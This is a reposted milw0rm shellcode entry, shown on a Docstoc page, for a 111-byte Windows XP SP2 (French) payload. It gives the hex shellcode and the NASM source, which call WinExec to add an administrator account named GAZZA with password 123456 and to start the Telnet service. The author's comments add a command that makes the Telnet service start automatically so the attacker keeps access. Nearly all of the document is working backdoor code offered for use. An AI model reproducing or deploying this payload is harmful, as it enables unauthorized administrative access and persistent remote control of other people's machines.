win32 telnetbind by winexec 111 bytes

Document Sample
win32 telnetbind by winexec 111 bytes Powered By Docstoc
					                                    win32 telnetbind by winexec 111 bytes                                         Page 1/1
  1    ; payload:add admin acount & Telnet Listening
  2    ; Author: DATA_SNIPER
  3    ; size:111 bytes
  4    ; platform:WIN32/XP SP2 FR
  5    ; thanks:Arab4services team & AT4RE Team
  6    ; more info: visit my blog http://datasniper.arab4services.net
  7    ; The Sh3llcode:
  8    ; "\xEB\x08\xBA\x4D\x11\x86\x7C\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x6D\x64\x20\x2F\x63"
  9    ; "\x20\x6E\x65\x74\x20\x75\x73\x65\x72\x20\x68\x69\x6C\x6C\x20\x31\x32\x33\x34\x35"
  10   ; "\x36\x20\x2F\x41\x44\x44\x20\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63\x61\x6C\x67"
  11   ; "\x72\x6F\x75\x70\x20\x41\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x65\x75\x72\x73"
  12   ; "\x20\x68\x69\x6C\x6C\x20\x2F\x41\x44\x44\x20\x26\x26\x20\x73\x63\x20\x73\x74\x61"
  13   ; "\x72\x74\x20\x54\x6C\x6E\x74\x53\x76\x72\x00"
  14   ; Description: it’s simular to TCP BindShell on port 23,throught Command execution we can get shell access throught t
       elnet service on Windows b0x.
  15   ; Add admin account command user=GAZZA ,pass=123456 :cmd /c net user GAZZA 123456 /ADD && net localgroup Administrate
       urs GAZZA /ADD
  16   ; Start telnet service: sc start TlntSvr
  17   ; For saving ur access to the B0x again and again :),u can use this command:
  18   ; "sc config TlntSvr start= auto & sc start TlntSvr" instead of:
  19   ; "sc start TlntSvr"
  20   ; NASM −s −fbin telnetbind.asm
  21   BITS 32
  22   db 0EBh,08h         ;such as "jmp Data" ,i puted it in opcode format for avoiding null problem.
  23   Exec:
  24   MOV EDX,7C86114Dh ;WinExec addr in WIN XP SP2 FR
  25   CALL EDX
  26   INT3 ;just interrupter (hung the shellcode after it do his job,any way u can use ExitProcess) for avoiding infinite l
       oop
  27   Data:
  28   CALL Exec
  29   db ’cmd /c net user GAZZA 123456 /ADD & net localgroup Administrateurs GAZZA /ADD & sc start TlntSvr’,00h
  30   ;add user GAZA with 123456 password and start telnet service ;BTW the exstension cuted for saving som byte ;)
  31
  32   ; milw0rm.com [2009−02−27]




DATA_SNIPER                                                                                                        02/27/2009

				
DOCUMENT INFO
Shared By:
Categories:
Stats:
views:29
posted:5/24/2010
language:Albanian
pages:1